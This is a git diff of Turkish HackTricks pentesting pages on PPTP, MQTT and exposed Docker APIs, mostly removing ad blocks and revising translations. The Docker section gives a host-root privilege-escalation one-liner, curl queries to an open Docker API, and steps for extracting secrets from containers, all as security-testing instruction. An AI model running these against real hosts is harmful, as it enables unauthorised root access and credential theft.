* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) * [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** tarafından desteklenen bir arama motorudur ve bir şirketin veya müşterilerinin **zarar görüp görmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
**Point-to-Point Tunneling Protocol (PPTP)**, mobil cihazlara **uzaktan erişim** için yaygın olarak kullanılan bir yöntemdir. Anahtarların değişimi için **TCP port 1723** kullanırken, **IP protokol 47** (Generic Routing Encapsulation veya **GRE**), eşler arasında iletilen verilerin şifrelenmesi için kullanılır. Bu yapı, internet üzerinden güvenli bir iletişim kanalı oluşturmak için kritik öneme sahiptir ve değiştirilen verilerin gizli kalmasını ve yetkisiz erişimden korunmasını sağlar. **Point-to-Point Tunneling Protocol (PPTP)**, mobil cihazlara **uzaktan erişim** için yaygın olarak kullanılan bir yöntemdir. Anahtarların değişimi için **TCP port 1723** kullanılırken, **IP protokol 47** (Generic Routing Encapsulation veya **GRE**), eşler arasında iletilen verilerin şifrelenmesi için kullanılır. Bu yapı, internet üzerinden güvenli bir iletişim kanalı oluşturmak için kritik öneme sahiptir ve değiştirilen verilerin gizli kalmasını ve yetkisiz erişimden korunmasını sağlar.
**Varsayılan Port**:1723 **Varsayılan Port**:1723

View file

@ -1,37 +1,24 @@
# 1883 - Pentesting MQTT (Mosquitto) # 1883 - Pentesting MQTT (Mosquitto)
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in temel amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
**MQ Telemetry Transport (MQTT)**, aşırı basitliği ve hafifliği ile öne çıkan bir **yayın/abone mesajlaşma protokolü** olarak bilinir. Bu protokol, cihazların sınırlı yeteneklere sahip olduğu ve düşük bant genişliği, yüksek gecikme veya güvenilmez bağlantılarla karakterize edilen ağlar üzerinde çalıştığı ortamlara özel olarak tasarlanmıştır. MQTT'nin temel hedefleri, ağ bant genişliği kullanımını en aza indirmek ve cihaz kaynakları üzerindeki talebi azaltmaktır. Ayrıca, güvenilir iletişimi sürdürmeyi ve belirli bir teslimat güvencesi sağlamayı amaçlar. Bu hedefler, MQTT'yi **makine-makine (M2M) iletişimi** ve **Nesnelerin İnterneti (IoT)** alanında son derece uygun hale getirir; burada çok sayıda cihazı verimli bir şekilde bağlamak esastır. Ayrıca, MQTT, bant genişliğini ve pil ömrünü korumanın kritik olduğu mobil uygulamalar için de son derece faydalıdır. **MQ Telemetry Transport (MQTT)**, aşırı basitliği ve hafifliği ile öne çıkan bir **yayın/abone mesajlaşma protokolü** olarak bilinir. Bu protokol, cihazların sınırlı yeteneklere sahip olduğu ve düşük bant genişliği, yüksek gecikme veya güvenilmez bağlantılarla karakterize edilen ağlar üzerinde çalıştığı ortamlara özel olarak tasarlanmıştır. MQTT'nin temel hedefleri, ağ bant genişliği kullanımını en aza indirmek ve cihaz kaynakları üzerindeki talebi azaltmaktır. Ayrıca, güvenilir iletişimi sürdürmeyi ve belirli bir teslimat güvencesi sağlamayı amaçlar. Bu hedefler, MQTT'yi **makineden makineye (M2M) iletişim** ve **Nesnelerin İnterneti (IoT)** alanında son derece uygun hale getirir; burada çok sayıda cihazın verimli bir şekilde bağlanması esastır. Ayrıca, MQTT, bant genişliğini ve pil ömrünü korumanın kritik olduğu mobil uygulamalar için de son derece faydalıdır.
**Varsayılan port:** 1883 **Varsayılan port:** 1883
``` ```
@ -42,7 +29,7 @@ PORT STATE SERVICE REASON
Bir **CONNECT** paketi MQTT brokerları tarafından alındığında, bir **CONNACK** paketi geri gönderilir. Bu paket, bağlantı durumunu anlamak için kritik olan bir dönüş kodu içerir. **0x00** dönüş kodu, kimlik bilgilerin kabul edildiğini ve başarılı bir bağlantıyı gösterir. Öte yandan, **0x05** dönüş kodu, kimlik bilgilerin geçersiz olduğunu belirterek bağlantıyı engeller. Bir **CONNECT** paketi MQTT brokerları tarafından alındığında, bir **CONNACK** paketi geri gönderilir. Bu paket, bağlantı durumunu anlamak için kritik olan bir dönüş kodu içerir. **0x00** dönüş kodu, kimlik bilgilerin kabul edildiğini ve başarılı bir bağlantıyı gösterir. Öte yandan, **0x05** dönüş kodu, kimlik bilgilerin geçersiz olduğunu belirterek bağlantıyı engeller.
Örneğin, broker kimlik bilgilerin geçersiz olması nedeniyle bağlantıyı reddederse, senaryo şöyle görünür: Örneğin, broker kimlik bilgilerin geçersiz olması nedeniyle bağlantıyı reddederse, senaryo şöyle görünebilir:
``` ```
{ {
"returnCode": "0x05", "returnCode": "0x05",
@ -109,7 +96,7 @@ Yayınlama/abone olma modeli şunlardan oluşur:
* **Yayıncı**: bir (veya birden fazla) konuya broker'da bir mesaj yayınlar. * **Yayıncı**: bir (veya birden fazla) konuya broker'da bir mesaj yayınlar.
* **Abone**: broker'da bir (veya birden fazla) konuya abone olur ve yayıncıdan gönderilen tüm mesajları alır. * **Abone**: broker'da bir (veya birden fazla) konuya abone olur ve yayıncıdan gönderilen tüm mesajları alır.
* **Broker**: yayıncılardan abonelere tüm mesajları yönlendirir. * **Broker**: yayıncılardan abonelere tüm mesajları yönlendirir.
* **Konu**: bir veya daha fazla seviyeden oluşur ve bu seviyeler bir eğik çizgi ile ayrılır (örneğin, /smartshouse/livingroom/temperature). * **Konu**: bir veya daha fazla seviyeden oluşur ve bir eğik çizgi ile ayrılır (örneğin, /smartshouse/livingroom/temperature).
### Paket Formatı <a href="#f15a" id="f15a"></a> ### Paket Formatı <a href="#f15a" id="f15a"></a>
@ -124,8 +111,8 @@ Her MQTT paketi sabit bir başlık içerir (Şekil 02). Şekil 02: Sabit Başlı
* PUBLISH (3): İstemciden sunucuya veya tersine bir mesaj göndermek için kullanılır. * PUBLISH (3): İstemciden sunucuya veya tersine bir mesaj göndermek için kullanılır.
* PUBACK (4): PUBLISH paketinin onayı. * PUBACK (4): PUBLISH paketinin onayı.
* PUBREC (5): Mesajın alındığını garanti eden bir mesaj teslim protokolünün parçası. * PUBREC (5): Mesajın alındığını garanti eden bir mesaj teslim protokolünün parçası.
* PUBREL (6): Mesaj tesliminde daha fazla güvence, bir mesajın serbest bırakıldığını gösterir. * PUBREL (6): Mesaj tesliminde daha fazla güvence, bir mesajın serbest bırakıldığını belirtir.
* PUBCOMP (7): Mesaj teslim protokolünün son kısmı, tamamlandığını gösterir. * PUBCOMP (7): Mesaj teslim protokolünün son kısmı, tamamlandığını belirtir.
* SUBSCRIBE (8): Bir konudan mesaj dinlemek için istemcinin talebi. * SUBSCRIBE (8): Bir konudan mesaj dinlemek için istemcinin talebi.
* SUBACK (9): Sunucunun bir SUBSCRIBE talebini onaylaması. * SUBACK (9): Sunucunun bir SUBSCRIBE talebini onaylaması.
* UNSUBSCRIBE (10): Bir konudan mesaj almaktan vazgeçmek için istemcinin talebi. * UNSUBSCRIBE (10): Bir konudan mesaj almaktan vazgeçmek için istemcinin talebi.
@ -139,29 +126,18 @@ Her MQTT paketi sabit bir başlık içerir (Şekil 02). Şekil 02: Sabit Başlı
* `port:1883 MQTT` * `port:1883 MQTT`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,47 +1,34 @@
# 2375, 2376 Pentesting Docker # 2375, 2376 Pentesting Docker
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
### Docker Temelleri ### Docker Temelleri
#### Nedir #### Nedir
Docker, **konteynerleştirme endüstrisinde** **öncü platform** olup, **sürekli yenilik** konusunda öncülük etmektedir. Uygulamaların, **gelenekselden geleceğe** kadar, zahmetsizce oluşturulmasını ve dağıtılmasını sağlar ve bunların çeşitli ortamlarda **güvenli dağıtımını** garanti eder. Docker, **konteynerleştirme endüstrisinde** **öncü platform** olup, **sürekli yenilik** konusunda öncülük etmektedir. Uygulamaların **gelenekselden geleceğe** kadar kolayca oluşturulmasını ve dağıtılmasını sağlar ve bunların çeşitli ortamlarda **güvenli dağıtımını** garanti eder.
#### Temel docker mimarisi #### Temel docker mimarisi
* [**containerd**](http://containerd.io): Bu, konteynerlerin yaşam döngüsünün kapsamlı **yönetimi** ile görevli bir **temel çalışma zamanı**dır. Bu, **görüntü transferi ve depolaması** ile birlikte konteynerlerin **çalıştırılması, izlenmesi ve ağ bağlantısının** denetimini içerir. Containerd hakkında **daha ayrıntılı bilgiler** **daha fazla incelenmiştir**. * [**containerd**](http://containerd.io): Bu, konteynerlerin **yaşam döngüsünün kapsamlı yönetimi** ile görevli bir **temel çalışma zamanı**dır. Bu, **görüntü transferi ve depolaması** ile birlikte konteynerlerin **çalıştırılması, izlenmesi ve ağ bağlantısının** denetimini içerir. **Containerd hakkında daha ayrıntılı bilgiler** **daha fazla incelenmiştir**.
* **container-shim**, **başsız konteynerlerin** yönetiminde bir **aracı** olarak kritik bir rol oynar ve konteynerler başlatıldıktan sonra **runc**'dan sorumluluğu devralır. * **container-shim**, **başsız konteynerlerin** yönetiminde bir **aracı** olarak kritik bir rol oynar ve konteynerler başlatıldıktan sonra **runc**'dan sorumluluğu devralır.
* [**runc**](http://runc.io): **Hafif ve evrensel konteyner çalışma zamanı** yetenekleri ile tanınan runc, **OCI standardı** ile uyumludur. Containerd tarafından **konteynerleri başlatmak ve yönetmek** için **OCI yönergelerine** göre kullanılır ve orijinal **libcontainer**'dan evrilmiştir. * [**runc**](http://runc.io): **Hafif ve evrensel konteyner çalışma zamanı** yetenekleri ile tanınan runc, **OCI standardı** ile uyumludur. Containerd tarafından **konteynerleri başlatmak ve yönetmek** için **OCI yönergelerine** göre kullanılır ve orijinal **libcontainer**'dan evrim geçirmiştir.
* [**grpc**](http://www.grpc.io), containerd ile **docker-engine** arasında **ileşimi sağlamak** için gereklidir ve **verimli etkileşim** sağlar. * [**grpc**](http://www.grpc.io), containerd ile **docker-engine** arasında **ileşimi kolaylaştırmak** için gereklidir ve **verimli etkileşim** sağlar.
* [**OCI**](https://www.opencontainers.org), çalışma zamanı ve görüntüler için **OCI spesifikasyonlarını** korumada önemli bir rol oynamaktadır ve en son Docker sürümleri, hem OCI görüntü hem de çalışma zamanı standartlarına **uyumludur**. * [**OCI**](https://www.opencontainers.org), çalışma zamanı ve görüntüler için **OCI spesifikasyonlarını** korumada kritik bir rol oynar ve en son Docker sürümleri **hem OCI görüntü hem de çalışma zamanı** standartlarına uygundur.
#### Temel komutlar #### Temel komutlar
```bash ```bash
@ -70,7 +57,7 @@ docker system prune -a
**Containerd**, **Docker ve Kubernetes** gibi konteyner platformlarının ihtiyaçlarını karşılamak için özel olarak geliştirilmiştir. Amacı, işletim sistemi özel işlevselliğini ve sistem çağrılarını soyutlayarak, Linux, Windows, Solaris ve daha fazlası dahil olmak üzere çeşitli işletim sistemleri arasında **konteynerlerin çalıştırılmasını basitleştirmektir**. Containerd'nin hedefi, kullanıcıları tarafından gerekli olan yalnızca temel özellikleri içermek ve gereksiz bileşenleri hariç tutmaya çalışmaktır. Ancak, bu hedefe tamamen ulaşmanın zorluğu kabul edilmektedir. **Containerd**, **Docker ve Kubernetes** gibi konteyner platformlarının ihtiyaçlarını karşılamak için özel olarak geliştirilmiştir. Amacı, işletim sistemi özel işlevselliğini ve sistem çağrılarını soyutlayarak, Linux, Windows, Solaris ve daha fazlası dahil olmak üzere çeşitli işletim sistemleri arasında **konteynerlerin çalıştırılmasını basitleştirmektir**. Containerd'nin hedefi, kullanıcıları tarafından gerekli olan yalnızca temel özellikleri içermek ve gereksiz bileşenleri hariç tutmaya çalışmaktır. Ancak, bu hedefe tamamen ulaşmanın zorluğu kabul edilmektedir.
Ana tasarım kararı, **Containerd'nin ağ yönetimini üstlenmemesidir**. Ağ, dağıtık sistemlerde kritik bir unsur olarak kabul edilir ve Yazılım Tanımlı Ağ (SDN) ve hizmet keşfi gibi karmaşıklıklar, bir platformdan diğerine önemli ölçüde değişir. Bu nedenle, Containerd, desteklediği platformların yönetimi yönlerini üstlenmesine bırakır. Ana tasarım kararı, **Containerd'nin ağ yönetimini üstlenmemesidir**. Ağ, dağıtık sistemlerde kritik bir unsur olarak kabul edilir ve Yazılım Tanımlı Ağ (SDN) ve hizmet keşfi gibi karmaşıklıklar, bir platformdan diğerine önemli ölçüde değişir. Bu nedenle, Containerd, desteklediği platformların yönetmesine bırakır.
**Docker, konteynerleri çalıştırmak için Containerd'yi kullanırken**, Containerd'nin yalnızca Docker'ın işlevselliklerinin bir alt kümesini desteklediğini belirtmek önemlidir. Özellikle, Containerd, Docker'da bulunan ağ yönetim yeteneklerinden yoksundur ve doğrudan Docker sürümleri oluşturmayı desteklemez. Bu ayrım, Containerd'nin bir konteyner çalışma zamanı ortamı olarak odaklanmış rolünü vurgulamakta ve daha özel işlevsellikleri entegre olduğu platformlara devretmektedir. **Docker, konteynerleri çalıştırmak için Containerd'yi kullanırken**, Containerd'nin yalnızca Docker'ın işlevselliklerinin bir alt kümesini desteklediğini belirtmek önemlidir. Özellikle, Containerd, Docker'da bulunan ağ yönetim yeteneklerinden yoksundur ve doğrudan Docker sürümleri oluşturmayı desteklemez. Bu ayrım, Containerd'nin bir konteyner çalışma zamanı ortamı olarak odaklanmış rolünü vurgulamakta ve daha özel işlevsellikleri entegre olduğu platformlara devretmektedir.
```bash ```bash
@ -97,13 +84,13 @@ Podman, Docker'ın API'si ile uyumlu olacak şekilde tasarlanmıştır ve Docker
**Ana Farklılıklar** **Ana Farklılıklar**
* **Mimari**: Dockerın arka planda bir daemon ile çalışan istemci-sunucu modelinin aksine, Podman bir daemon olmadan çalışır. Bu tasarım, konteynerlerin başlatan kullanıcının ayrıcalıklarıyla çalışmasını sağlar ve root erişimine ihtiyaç duymayarak güvenliği artırır. * **Mimari**: Dockerın arka planda bir daemon ile çalışan istemci-sunucu modelinin aksine, Podman bir daemon olmadan çalışır. Bu tasarım, konteynerlerin başlatan kullanıcının ayrıcalıklarıyla çalışmasını sağlar ve root erişimine ihtiyaç duymayarak güvenliği artırır.
* **Systemd Entegrasyonu**: Podman, konteynerleri yönetmek için **systemd** ile entegre olur ve systemd birimleri aracılığıyla konteyner yönetimine olanak tanır. Bu, Docker'ın esasen Docker daemon sürecini yönetmek için systemd kullanmasıyla zıtlık gösterir. * **Systemd Entegrasyonu**: Podman, konteynerleri yönetmek için **systemd** ile entegre olur ve systemd birimleri aracılığıyla konteyner yönetimine olanak tanır. Bu, Docker'ın esas olarak Docker daemon sürecini yönetmek için systemd kullanmasıyla zıtlık gösterir.
* **Rootless Kapsayıcılar**: Podman'ın önemli bir özelliği, konteynerleri başlatan kullanıcının ayrıcalıkları altında çalıştırabilmesidir. Bu yaklaşım, saldırganların yalnızca ele geçirilen kullanıcının ayrıcalıklarını elde etmesini sağlayarak konteyner ihlalleriyle ilişkili riskleri en aza indirir, root erişimi sağlamaz. * **Rootless Kapsayıcılar**: Podman'ın önemli bir özelliği, konteynerleri başlatan kullanıcının ayrıcalıkları altında çalıştırabilmesidir. Bu yaklaşım, saldırganların yalnızca tehlikeye atılan kullanıcının ayrıcalıklarını elde etmesini sağlayarak konteyner ihlalleriyle ilişkili riskleri en aza indirir, root erişimi sağlamaz.
Podman'ın yaklaşımı, kullanıcı ayrıcalık yönetimini ve mevcut Docker iş akışlarıyla uyumluluğu vurgulayarak Docker'a güvenli ve esnek bir alternatif sunar. Podman'ın yaklaşımı, kullanıcı ayrıcalık yönetimi ve mevcut Docker iş akışlarıyla uyumluluğu vurgulayarak Docker'a güvenli ve esnek bir alternatif sunar.
{% hint style="info" %} {% hint style="info" %}
Podman, Docker ile aynı API'yi desteklemeyi amaçladığından, podman ile docker ile aynı komutları kullanabilirsiniz, örneğin: Podman, Docker ile aynı API'yi desteklemeyi amaçladığı için, podman ile docker ile aynı komutları kullanabilirsiniz, örneğin:
```bash ```bash
podman --version podman --version
podman info podman info
@ -114,7 +101,7 @@ podman ls
### Temel Bilgiler ### Temel Bilgiler
Uzaktan API, etkinleştirildiğinde varsayılan olarak 2375 portunda çalışır. Servis varsayılan olarak kimlik doğrulama gerektirmeyecek şekilde ayarlanmıştır, bu da bir saldırganın ayrıcalıklı bir docker konteyneri başlatmasına olanak tanır. Uzaktan API kullanılarak, ana makineyi / (kök dizin) konteynere ekleyebilir ve ana makinenin ortamındaki dosyaları okuyup yazabilirsiniz. Uzaktan API, etkinleştirildiğinde varsayılan olarak 2375 portunda çalışır. Hizmet varsayılan olarak kimlik doğrulama gerektirmeyecek şekilde ayarlanmıştır, bu da bir saldırganın ayrıcalıklı bir docker konteyneri başlatmasına olanak tanır. Uzaktan API kullanılarak, ana makineyi / (kök dizin) konteynere eklemek ve ana makinenin ortamındaki dosyaları okumak/yazmak mümkündür.
**Varsayılan port:** 2375 **Varsayılan port:** 2375
``` ```
@ -164,7 +151,7 @@ GitCommit: fec3683
Eğer **uzaktaki docker API'si ile `docker` komutunu** **iletişim kurabiliyorsanız**, hizmetle etkileşimde bulunmak için **daha önce** bahsedilen **docker** [**komutlarını**](2375-pentesting-docker.md#basic-commands) **çalıştırabilirsiniz**. Eğer **uzaktaki docker API'si ile `docker` komutunu** **iletişim kurabiliyorsanız**, hizmetle etkileşimde bulunmak için **daha önce** bahsedilen **docker** [**komutlarını**](2375-pentesting-docker.md#basic-commands) **çalıştırabilirsiniz**.
{% hint style="info" %} {% hint style="info" %}
`export DOCKER_HOST="tcp://localhost:2375"` yapabilir ve docker komutuyla `-H` parametresini **kullanmayı** **kaçınabilirsiniz**. `export DOCKER_HOST="tcp://localhost:2375"` yapabilir ve docker komutuyla `-H` parametresini **kullanmayı** **kaçınabilirsiniz**
{% endhint %} {% endhint %}
**Hızlı ayrıcalık yükseltme** **Hızlı ayrıcalık yükseltme**
@ -173,7 +160,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
``` ```
**Curl** **Curl**
Bazen **TLS** uç noktası için **2376** ık olduğunu göreceksiniz. Docker istemcisi ile buna bağlanmayı başaramadım ama curl ile bunu yapmak mümkün. Bazen **TLS** uç noktası için **2376** numarasını görebilirsiniz. Docker istemcisi ile buna bağlanmayı başaramadım ama curl ile bunu yapmak mümkün.
```bash ```bash
#List containers #List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -234,7 +221,7 @@ Eğer docker kullanan bir hostun içindeyseniz, [**yetkileri yükseltmeye çalı
docker ps [| grep <kubernetes_service_name>] docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id> docker inspect <docker_id>
``` ```
**env** (çevresel değişken bölümü) için gizli bilgileri kontrol edin ve şunları bulabilirsiniz: Kontrol et **env** (çevresel değişken bölümü) gizli bilgiler için ve şunları bulabilirsin:
* Parolalar. * Parolalar.
* IPler. * IPler.
@ -242,7 +229,7 @@ docker inspect <docker_id>
* Yollar. * Yollar.
* Diğerleri… . * Diğerleri… .
Bir dosyayı çıkarmak istiyorsanız: Bir dosyayı çıkarmak istiyorsan:
```bash ```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01> docker cp <docket_id>:/etc/<secret_01> <secret_01>
``` ```
@ -340,17 +327,6 @@ Docker'ı izlemek için auditd kullanabilirsiniz.
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
### [WhiteIntel](https://whiteintel.io)
